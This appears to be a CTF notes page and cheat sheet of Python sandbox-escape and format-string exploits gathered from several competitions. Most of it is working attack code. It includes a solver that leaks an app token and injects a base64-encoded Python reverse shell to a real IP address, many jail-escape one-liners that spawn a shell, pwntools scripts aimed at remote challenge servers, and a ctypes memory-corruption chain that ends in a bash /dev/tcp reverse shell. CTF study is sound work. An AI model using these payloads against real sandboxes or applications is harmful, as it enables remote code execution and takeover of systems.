Python 3.12.9 (main, Feb 5 2025, 01:31:18) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> import os; from unittest.mock import sentinel; [[] for os.environ.encodekey in [os.system]]
[[]]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'o' is not defined. Did you mean: 'os'?
>>> os.environ[sentinel.sh.name]
$
$ ls
Getting into the main context from library context in python format string exploit
| Event Name | b01lersc 2025 |
| GitHub URL | - |
| Challenge Name | link-shortener |
Attachments
References
vulnerable code
def __repr__(self) -> str:
return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self)solver
import base64
import httpx
import asyncio, random, re
URL = "https://link-shortener-5e64b1f3ce3d2c9d.instancer.b01lersc.tf/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
def login(self, username: str, password: str):
return self.c.post("/login", data={"name": username, "password": password})
def register(self, username: str, password: str, email: str):
return self.c.post("/register", data={"name": username, "password": password, "email": email})
def create(self, url: str):
return self.c.get("/create", params={"url": url})
def all(self):
return self.c.get(f"/all")
def configure(self, token: str, base_url: str, new_token: str, ukwargs: dict, pkwargs: dict):
return self.c.post("/configure", json={"token": token, "base_url": base_url, "new_token": new_token, "ukwargs": ukwargs, "pkwargs": pkwargs})
def index(self):
return self.c.get("/")
class API(BaseAPI):
async def get_token(self):
res = await self.create(f"https://foo.com/{{self.__init__.__globals__[__builtins__][__spec__].__init__.__globals__[sys].modules[__main__].app.config[TOKEN]}}")
print(res.text)
res = await self.all()
print(res.text)
return re.findall(r"url='https://foo.com/(\w+)", res.text)[0]
async def main():
api = API()
# username = random.randbytes(10).hex()
# password = random.randbytes(10).hex()
# email = f"{username}@dimas.com"
# await api.register(username, password, email)
# print(res.text)
# await api.login(username, password)
# print(res.text)
token = await api.get_token()
print(token)
# steal flag
payload = '''python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.142.167.54",19907));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' '''
payload_base64 = base64.b64encode(payload.encode()).decode()
res = await api.configure(token, "https://foo.com", "bar", {"primaryjoin": "__import__('os').system('echo " + payload_base64 + " | base64 -d | sh')"}, {})
print(res.text)
res = await api.index()
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
Cheat sheet
(i:=__import__,b:=i("builtins"),s:=setattr,s(b,"compile",lambda*a,**k:"import os;os\\56system('sh')"),s(b,"isinstance",lambda*a:1),s(b,"str",lambda x:x or"x"),i("xml"))
setattr(__import__('__main__'), 'input', lambda a: __import__(setattr(__import__("sys"),"modules",{"_tkinter":__import__("abc")}) or setattr(__import__("abc"),"TclError","") or setattr(__import__("abc"),"TK_VERSION","1\\x2e1") or setattr(__import__("abc"),"TCL_VERSION","1\\x2e1") or setattr(__import__("abc"),"READABLE", False) or setattr(__import__("abc"),"WRITABLE", False) or setattr(__import__("abc"),"EXCEPTION", False) or setattr(__import__("abc"),"create", (lambda a,b,c,d,e,f,g,h : __import__("abc"))) or setattr(__import__("abc"),"getvar", (lambda a: "1\\x2e1")) or setattr(__import__("abc"),"createcommand", (lambda a,b: False)) or setattr(__import__("abc"),"call", (lambda a,b,c,d,e: False)) or setattr(__import__("os\\x2epath",fromlist=1),"join",(lambda a,b : "/app/flag\\x2etxt" if("\\x2epy" in b) else "")) or __import__("tkinter\\x2e__main__")))
setattr(__import__("sys"),"argv",["","/app/flag\\x2etxt"]) or setattr(__import__("sys"),"modules",{"idlelib\\x2epyshell":__import__("quopri")}) or __import__("idlelib\\x2eidle")
golf
(lambda i,s:(s(i("builtins"),"staticmethod",lambda o:(s(i('__main__'),'input',lambda*a:[s(0,x,0)for x in o("/app/flag\\x2etxt")]),o)[1]),i("_pyio")))(__import__,setattr)
advanced
setattr(__import__("sys"), "executable", "/usr/bin/tclsh")
__import__("test\\x2esubprocessdata\\x2esigchild_ignore")
puts [read [open "/app/flag.txt" r]]
restore builtins
(__builtins__:=__import__('code'))==(lambda:interact())() __import__("os").system("cat flag*")
(__builtins__:=__import__('builtins'))and(lambda:(eval(input('pwn:'))))()
command = lambda x: "cat *.txt"
import_list = []
os_list = []
x=__build_class__=lambda *_:_
g=x.__globals__
b=__builtins__
b|=g
type_class = lambda x: [].__class__.__class__
get_import = lambda x: x[0].register.__globals__["__builtins__"]["__import__"]
os_str = lambda x: "os"
@import_list.append
@get_import
@[].__class__.__class__.__subclasses__
@type_class
class X:
...
@os_list.append
@import_list[0]
@os_str
class X:
...
@os_list[0].system
@command
class X:
...
bypass __ using __
https://github.com/BYU-CSA/BYUCTF-2023/tree/main/builtins-2
`().__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')`
CrewCTF 2023
startship-1
from pwn import *
#p = process('./sandbox.py')
p = remote("starship-1.chal.crewc.tf", 40003)
p.sendline('@__build_class__.__self__.exec\\r@__build_class__.__self__.input\\rclass\\x0cx:pass')
p.sendline('__build_class__.__self__.__import__("os").system("sh")')
p.interactive()
Starship
[[re.A[i] for re.RegexFlag.__getitem__ in [[[re.A[i] for re.RegexFlag.__getitem__ in [sys.modules.get]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.M.value^re.L.value^re.I.value^re.T.value, re.X.value^re.U.value^re.S.value^re.I.value^re.T.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]][re.A.value^re.A.value][re.A.value^re.A.value].system]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.S.value^re.I.value^re.T.value, re.X.value^re.U.value^re.M.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]]
Only get and set allowed in pydash
imaginary-ctf 2023
#!/usr/bin/env python3
import pydash
class Dummy:
pass
if __name__ == "__main__":
obj = Dummy()
while True:
src = input("src: ")
dst = input("dst: ")
pydash.set_(obj, dst, pydash.get(obj, src))
__reduce_ex__
__class__.__class_getitem__
__class__.3.0
newobj
newobj.__getattribute__
__class__.__class_getitem__
__class__.__builtins__.exec
__class__.__getattr__
import os; os\\.system('sh')
foobar
src: __reduce_ex__
dst: __class__.__class_getitem__
src: __class__.3.0
dst: newobj
src: newobj.__getattribute__
dst: __class__.__class_getitem__
src: __class__.__builtins__.exec
dst: __class__.__getattr__
src: import os; os\\.system('sh')
dst: foobar
//add reduce_ex to book getitem
src: __reduce_ex__
dst: __class__.__class_getitem__
//create new obj and add "literally i forgor what object it is" to new obj
src: __class__.3.0
dst: newobj
// add gettattr from newobj to book obj class getitem to bypass the waf
src: newobj.__getattribute__
dst: __class__.__class_getitem__
// this is time to get code execution using exec :)
// we already bypass it using getitem before, now we can access builtins and add exec to magic method getattr
src: __class__.__builtins__.exec
dst: __class__.__getattr__
// exec :skull:
src: import os; os\\.system('sh')
dst: foobar
Isn't __builtins__ blacklisted inside the pydash module?
copied from pydash
def _base_get_object(obj, key, default=UNSET):
value = _base_get_item(obj, key, default=UNSET)
if value is UNSET:
_raise_if_restricted_key(key)
value = default
try:
value = getattr(obj, key)
except Exception:
pass
return value
so this means it won't be triggered if you use getitem
flask-unsign --sign --cookie "{'books': {'
__class__.__class_getitem__': '\\!__reduce_ex__', ' newobj':
'\\!__class__.3.0', ' __class__.__class_getitem__':
'\\!newobj.__getattribute__', ' __class__.__class_getitem__':
'\\!newobj.__getattribute__', ' __class__.__class_getitem__':
'\\!__class__.__builtins__.eval', ' abc':
'\\!__class__.eval(\\"getattr(getattr(__import__(\\'os\\'),\\'popen\\')
(\\'cat /flag*\\'),\\'read\\')()\\")'}}" --secret
'SameAsTheServerSecret'
deletion
imaginary-ctf 2023
#!/usr/bin/env python3
canary = "You will not get the flag!"
inp = input("Enter your payload: ")
reward = input("Enter your reward: ")
for c in inp:
if ord(c) < ord('\\n') or ord(c) > ord('~'):
print("Fail!")
exit()
if any([n in inp for n in "dfjlquvwz=_.~!@#$%^&*()[]{}\\n;\\"'?<>/\\\\-+|`0123456789 \\t"]):
print("Fail!")
exit()
d = ['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help']
dl = vars(__builtins__)
g = list(globals().keys())
gl = globals()
for n in d:
if not n == "exec":
del dl[n]
for n in g:
if not n in ["canary", "inp", "reward"]:
del gl[n]
del g
del gl
exec(inp)
try:
canary
except:
exec(reward)
from pwn import *
# x = process(['python3','main.py'])
# nc deletion.chal.imaginaryctf.org 1337
x = remote('deletion.chal.imaginaryctf.org', 1337)
x.sendline(b"try:yyy\\rexcept\\x0cNameError\\x0cas\\x0ccanary:pass")
payload = b"""[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in f"{x}" and not "_Helper" in f"{x}" ][0]["sys"].modules["os"].system("/bin/bash")""".replace(b'\\n',b'\\r')
# x.interactive()
x.sendline(payload)
x.interactive()
You shall not call! (misc) (https://2023.imaginaryctf.org/)
https://gist.github.com/lebr0nli/eec8f5addd77064f1fa0e8b22b6a54f5
import __main__
import pickle
stack_0 = __main__
stack_0.__dict__.update(
{
"__main__": __main__.pickle,
}
)
print(__main__)
stack_0.__dict__.update(
{
"__main__": __main__.codecs,
}
)
print(__main__)
You shall not call Revenge (misc) (https://2023.imaginaryctf.org/)
https://gist.github.com/lebr0nli/53216005991d012470c0bde0f38952b1
pyjail 3 (PWN) (Bauhinia CTF 2023)
backup_len = len
backup_eval = eval
backup_print = print
backup_input = input
globals()['__builtins__'].__dict__.clear()
while True:
input = backup_input()
if backup_len(input) > 78 or '[' in input or ']' in input or '{' in input or '}' in input:
backup_print('[You failed to break the jail]')
else:
backup_print(backup_eval(input,{'__builtins__':{}},{}))
https://gist.github.com/lebr0nli/de6ceb1ca81e8170be7ba79cc702bf72
(s:=(c:=().__class__.__subclasses__().pop(-2)).__class__.__setattr__)(c,'s',s)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.__repr__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__globals__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('sys'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.modules)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('os'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.system)
(c:=().__class__.__subclasses__().pop(-2)).x('sh')
# 6actf{d3f1ni7e1y_n0t_c0py1n9_hkcertCTF2021_pyj4il_511f3ad4f3627b38d77cf4ab26c39ead}
(c:=__builtins__).update(b=c),(e:=().__class__).__class__('',(e,),c)
(e:=().__class__).__subclasses__().pop().b.update(d=e.__base__.__subclasses__)
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d')().pop(133))
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d').__init__)
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d').__globals__)
().__class__.__subclasses__().pop().b.pop('d').pop('system')('/bin/sh')
Accesing globar vars
https://github.com/SSTF-Office/SamsungCTF/blob/main/2023_Hackers_Playground/pyjail/writeup.md
[a:=[],a.append({}[b.gi_frame.f_back.f_back.f_globals['flag']]for b in a),*a[0]]
Byte code
https://sekai.team/blog/lactf-2023/pycjail/
Bypass call with no __builtins__ python2
class Metaclass:
__init__ = lambda*x:None
__class__ = [].__class__.__base__
__invert__ = [].__class__.__base__.__subclasses__
class Subclass:
__metaclass__ = Metaclass
s=~Subclass
class Metaclass:
__init__ = lambda*x:None
__class__ = [].__class__.__base__
__getitem__ = s[40]
class Subclass:
__metaclass__ = Metaclass
s = Subclass['/etc/passwd']
class Metaclass:
__init__ = lambda*x:None
__class__ = [].__class__.__base__
__invert__ = s.read
class Subclass:
__metaclass__ = Metaclass
s = ~Subclass
{}[s]
class Metaclass:
__init__ = lambda*x:None
__class__ = [].__class__.__base__
__invert__ = [].__class__.__base__.__subclasses__
class Subclass:
__metaclass__ = Metaclass
x=~Subclass
Metaclass.__getitem__ = x[40]
y=Subclass['/etc/passwd']
Metaclass.__invert__ = y.read
{}[~Subclass]
Bypass Call without __builtins__ python 3
c = [].__𝔠𝔩𝔞𝔰𝔰__.__𝔠𝔩𝔞𝔰𝔰__
s = c.__𝔰𝔲𝔟𝔠𝔩𝔞𝔰𝔰𝔢𝔰__
__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__ |= {'_''_build_class_''_': lambda*x:x}
@s
@lambda*x:c
class A:pass
__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__ |= A[0].𝔯𝔢𝔤𝔦𝔰𝔱𝔢𝔯.__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__
license.__class__.__invert__ = 𝔦𝔫𝔭𝔲𝔱
help.__class__.__getitem__ = 𝔢𝔳𝔞𝔩
help[~license]
get builtins back
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__
[(e.__init__.__globals__)for(e)in(''.__class__.__base__.__subclasses__())if("'_sitebui""ltins.")in(f"{e}")and("tter")in(f"{e}")]['e'=='s']['__buil''tins__']['__imp''ort__']('co''de').interact()
using a class to get os
SomeClass.__class__.__subclasses__([].__class__.__base__)[140].__init__.__globals__['os'].system('sh')
UDCTF ## Python Jail Harder
#!/usr/bin/env python
blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
security_check = lambda s: any(c in blacklist for c in s) or s.count('_') > 50
def main():
while True:
cmds = input("> ")
if security_check(cmds):
print("nope.")
else:
exec(cmds, {'__builtins__': None}, {})
if __name__ == "__main__":
main()
solve
(𝔱:=()==(), [].__𝔠𝔩𝔞𝔰𝔰__(().__𝔠𝔩𝔞𝔰𝔰__.__𝔟𝔞𝔰𝔢__.__𝔰𝔲𝔟𝔠𝔩𝔞𝔰𝔰𝔢𝔰__()[-~𝔱*𝔱*~𝔱-𝔱].__𝔦𝔫𝔦𝔱__.__𝔤𝔩𝔬𝔟𝔞𝔩𝔰__.𝔦𝔱𝔢𝔪𝔰())[-(~𝔱*~𝔱*~𝔱+~𝔱+~𝔱*~𝔱*~𝔱*~𝔱*~𝔱+~𝔱+~𝔱-𝔱)][-𝔱]([].__𝔡𝔬𝔠__[(~𝔱*~𝔱*~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)-(~𝔱*~𝔱)-𝔱:(~𝔱*~𝔱*~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+𝔱:~𝔱*~𝔱+𝔱]))
CJ2023 dictjail
#!/usr/bin/env python3
import re
restricted = '!"#$%&\\'+,-/\\\\;<>?@*^`|()~0123456789'
code = input('>>> ')
assert (code.count('_') < 30)
assert (len(code) < 150)
if not re.findall('[%s]' % re.escape(restricted), code):
try:
eval(code, {'__builtins__': None, '_': {}.__class__.__subclasses__()})
except:
pass
[x:=f for f in _]==[__builtins__:=x.total.__builtins__][[x[x]for x.__class_getitem__ in[x[_]for x.__class_getitem__ in[lambda x:[help]]][_==x]]==_]
eval palindrome
#!/bin/env python3
from pwn import *
import sys
context.log_level = "INFO"
def init():
if args.RMT:
p = remote(sys.argv[1], sys.argv[2])
else:
p = process()
return Exploit(p), p
class Exploit:
def __init__(self, p: process):
self.p = p
def debug(self, script=None):
if not args.RMT and args.DBG:
if script:
attach(self.p, "\\n".join(script))
else:
attach(self.p)
# "+\\"+)(tniopkaerb+"+breakpoint()+"\\+"
def make_palindrome(input_str):
# Create a palindrome by appending the reverse of the input string
a = input_str
b = input_str[::-1]
if a[0] == b[0]:
return a + b[1:]
return a+b
def payload_palindrome(inpstr):
for i in range(0, 128):
if any([chr(i)==j for j in ['\\\\']]):
continue
x1 = f"'{chr(i)}\\\\'+"
x2 = "+'"
cmd = inpstr[::-1]
payload = make_palindrome(x1+cmd+x2)
if sum(payload.encode())%256 == 69:
return payload
x, p = init()
p.sendline(payload_palindrome("str(a:=str)"))
p.sendline(payload_palindrome("a(c:=eval)"))
p.sendline(payload_palindrome("a(d:=input)"))
p.sendline(payload_palindrome("a(c(d()))"))
p.interactive()
Get __builtins__ back using gi_frame
## L3HCTF 2024
import sys
import os
codes=r'''
def factorization(n):
def sss(builtins):
def int(i):
if i == "696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863":
return 100001*100001
else:
return 100001
builtins.int = int
a=[]
a.append(b.gi_frame.f_back.f_back.f_back.f_globals[('_''_builtins_''_')]for b in a)
sss(*a[0])
return 1,2
'''
try:
codes.encode("ascii")
except UnicodeEncodeError:
print("not valid ascii")
exit(0)
if "__" in codes:
print("contain __")
exit(0)
codes+="\\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449variable444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()
def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
print((event + "".join(str(s) for s in args)).lower())
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
oldexit(0)
return func
code = compile(codes, "<judgecode>", "exec")
print("testing1")
sys.addaudithook(blackFunc(os._exit))
print("testing2")
exec(code,{"__builtins__": {"print": print}},locals)
print(locals)
p=int(locals["res"][0])
q=int(locals["res"][1])
print(p, q, p*q)
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
print("pachvdbywmluxfiresoq!",end="")
else:
print("aczvujlhespfqtinrdwx!",end="")
get revershell without "sys" attribute
l3hctf 2024 intractable problem revenge
In addition, there is another way to solve the problem. The string object in CPython refers to a PyASCIIObject memory entity in the C underlying heap. The same string has the same entity, so we can use the ctypes library to achieve arbitrary reading and writing of memory and replace the memory. The value pointed to by the string in the string replaces the value that is finally verified. Note that import cannot be used in this question because os and open cannot be used. It can be loaded through loader.load_module . At the same time, the header length of PyASCIIObject is 48, and we need to rewrite the payload. The payload is as follows:
https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne
more detailed writeup here https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c
a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)
b = gl['_' '_builtins_' '_']
object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex
importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")
def p64(addr):
return addr.to_bytes(8, "little")
const_tuple = ()
fake_bytearray = bytearray(
p64(0x41414141)
+ p64(id(bytearray)) # ob_refcnt
+ p64(0x7FFFFFFFFFFFFFFF) # ob_type
+ p64(0) # ob_size (INT64_MAX)
+ p64(0) # ob_alloc (doesn't seem to really be used?)
+ p64(0) # *ob_bytes (start at address 0)
+ p64(0) # *ob_start (ditto) # ob_exports (not really sure what this does)
)
fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)
def dummy():
pass
tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
global b
return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))
print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()
# sanity check
print(magic[id("peko") : id("peko") + 64])
target_strs = [
"import",
"spawn",
"process",
"os",
"sys",
"cpython",
"fork",
"open",
"interpreter",
"ctypes",
"compile",
"gc",
"_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
addr = id(s)
magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)
os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1"')
factorization = lambda x: (1,1)
python >= 3.11
a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)
b = gl['_' '_builtins_' '_']
object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex
importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")
def p64(addr):
return addr.to_bytes(8, "little")
const_tuple = ()
fake_bytearray = bytearray(
p64(0x41414141)
+ p64(id(bytearray)) # ob_refcnt
+ p64(0x7FFFFFFFFFFFFFFF) # ob_type
+ p64(0) # ob_size (INT64_MAX)
+ p64(0) # ob_alloc (doesn't seem to really be used?)
+ p64(0) # *ob_bytes (start at address 0)
+ p64(0) # *ob_start (ditto) # ob_exports (not really sure what this does)
)
fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)
def dummy():
pass
tt = b'630000000000000000000000000100000003000000730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000'
def i2h(x):
global b
return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))
print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()
print("sanity check")
test = magic[id("peko") : id("peko") + 64]
padding = test.find(b"peko")
print("padding:", padding)
target_strs = [
"import",
"spawn",
"process",
"os",
"sys",
"cpython",
"fork",
"open",
"interpreter",
"ctypes",
"compile",
"gc",
"_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
addr = id(s)
magic[addr + padding : addr + padding + len(s)] = b"a" * len(s)
os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('id')
my testing:
a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_globals) for g in a)
a.append(g)
g.send(None)
b = gl['_' '_builtins_' '_']
object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex
importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")
def p64(addr):
return addr.to_bytes(8, "little")
const_tuple = ()
fake_bytearray = bytearray(
p64(0x41414141)
+ p64(id(bytearray)) # ob_refcnt
+ p64(0x7FFFFFFFFFFFFFFF) # ob_type
+ p64(0) # ob_size (INT64_MAX)
+ p64(0) # ob_alloc (doesn't seem to really be used?)
+ p64(0) # *ob_bytes (start at address 0)
+ p64(0) # *ob_start (ditto) # ob_exports (not really sure what this does)
)
fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print('offset:',offset)
def dummy():
pass
print(marshal.dumps(dummy.__code__,0).hex())
# <https://github.com/python/cpython/blob/3.12/Python/marshal.c>
# <https://github.com/python/cpython/blob/3.12/Python/errors.c>
# <https://github.com/python/cpython/blob/3.12/Objects/object.c>
# 72:r: TYPE_REF
# e3: TYPE_CODE v4
# 63:c: TYPE_CODE
# 73:s: TYPE_STRING
# f3:s: TYPE_STRING
# 53:S: TYPE_STOPITER
# a9: TYPE_TUPLE v4
# 28:(: TYPE_TUPLE
# 75:u: TYPE_UNICODE
# 4e:N: TYPE_NONE
# python <= 3.10
tt = b'e3000000000000000000000000000000000000000000000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
# python <= 3.10
tt = b'63000000000000000000000000000000000000000000000000730a00000090aa90bb90cc64dd530028000000002800000000280000000028000000002800000000750b0000002f6170702f6578702e7079750500000064756d6d792900000073020000000401'
# python >= 3.11
# |type|--------------------|-code location----------|-------string ptr-------|sep|--------------tuple args---------------|------------path-----------------|------func name----|-----func name2------------|-----------i don't know ---------|
tt = b'630000000000000000000000000100000003000000 730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000'
tt = tt.replace(b" ", b"")
def i2h(x):
global b
return b.hex(x)[2:].rjust(2, "0").encode()
